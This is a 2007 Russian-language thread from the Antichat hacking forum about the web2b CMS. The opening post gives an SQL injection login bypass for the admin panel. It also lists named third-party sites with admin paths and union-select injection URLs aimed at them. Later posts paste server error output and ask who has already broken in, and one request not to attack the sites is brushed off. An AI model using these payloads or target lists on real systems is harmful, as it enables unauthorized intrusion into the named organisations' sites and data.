HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

web2b CMS
  #1  
Старый 20.01.2007, 12:01
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами: 10188326

Репутация: 1866


По умолчанию web2b CMS

Вообщем так.
http://web2b.ru - офф. сайт конторы, разрабатывающей сайты и авторы своего двига WEB2B CMS...

Вообщем входим в админку практически всех сайтов этого двига:
Код:
/admin/
login:asd' or 1=1/*
password: asdasd
На некоторых правда в админке "сидит" .htacces =\
Но даже если так, то по-крайней мере на многих их сайтах есть sql-inj =\
Вот примеры "таких" сайтов:
Код:
http://www.rustransavto.ru/admin
http://www.blockmarine.ru/admin
http://www.sundesignlux.ru/admin
http://www.kupi-cupe.ru/admin
http://www.imid.ru/news/?lang=rus&id=-99'+union+select+1,2,3,4,5,6,7/*
http://www.promastanok.ru/mod/catalog/detail.php?id=-99'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/*
Портфолио ака все сайты конторы:
http://web2b.ru/works.htm
 
Ответить с цитированием

  #2  
Старый 20.01.2007, 12:57
Raz0r
Участник форума
Регистрация: 07.01.2007
Сообщений: 259
С нами: 10179446

Репутация: 41
По умолчанию

Код:
Warning: main(/usr/local/apache/htdocs/config.php): failed to open stream: No such file or directory in /home/www/htdocs/admin/index.php on line 3

Warning: main(): Failed opening '/usr/local/apache/htdocs/config.php' for inclusion (include_path='') in /home/www/htdocs/admin/index.php on line 3

Fatal error: Cannot instantiate non-existent class: admininterface in /home/www/htdocs/admin/index.php on line 4
Кто уже похекал?
А такие бабки ломят за свою ху*ню, извиняюсь...
Вобщем-то это и на CMS не тянет... функциональность на нуле.
 
Ответить с цитированием

  #3  
Старый 20.01.2007, 12:58
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами: 10188326

Репутация: 1866


По умолчанию

Цитата:
Сообщение от Raz0r  
Код:
Warning: main(/usr/local/apache/htdocs/config.php): failed to open stream: No such file or directory in /home/www/htdocs/admin/index.php on line 3

Warning: main(): Failed opening '/usr/local/apache/htdocs/config.php' for inclusion (include_path='') in /home/www/htdocs/admin/index.php on line 3

Fatal error: Cannot instantiate non-existent class: admininterface in /home/www/htdocs/admin/index.php on line 4
Кто уже похекал?
А такие бабки ломят за свою ху*ню, извиняюсь...
гы, ты 4ё сразу на офф. сайт то сам полез ?
 
Ответить с цитированием

  #4  
Старый 21.01.2007, 07:41
Skiba
Banned
Регистрация: 19.09.2006
Сообщений: 25
С нами: 10337704

Репутация: -14
По умолчанию

Ребят, зря выложили, БОЛЬШАЯ ПРОСЬБА "НЕ ЛОМАЙТЕ САЙТЫ" - серьезные компании ведь, реально не хорошо. =)
 
Ответить с цитированием

  #5  
Старый 21.01.2007, 14:05
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
С нами: 10188326

Репутация: 1866


По умолчанию

Цитата:
Сообщение от Skiba  
Ребят, зря выложили, БОЛЬШАЯ ПРОСЬБА "НЕ ЛОМАЙТЕ САЙТЫ" - серьезные компании ведь, реально не хорошо. =)
omg, а их кто-то ломает ?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Reviews CMS w3r3.w01f PHP 33 12.04.2010 23:18
Обзор бесплатных Cms em00s7 PHP 16 03.07.2009 13:13
Сборник Cms »Atom1c« PHP 3 02.12.2006 01:01
Девять Комерческих Cms w3r3.w01f PHP 1 21.04.2006 00:27



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.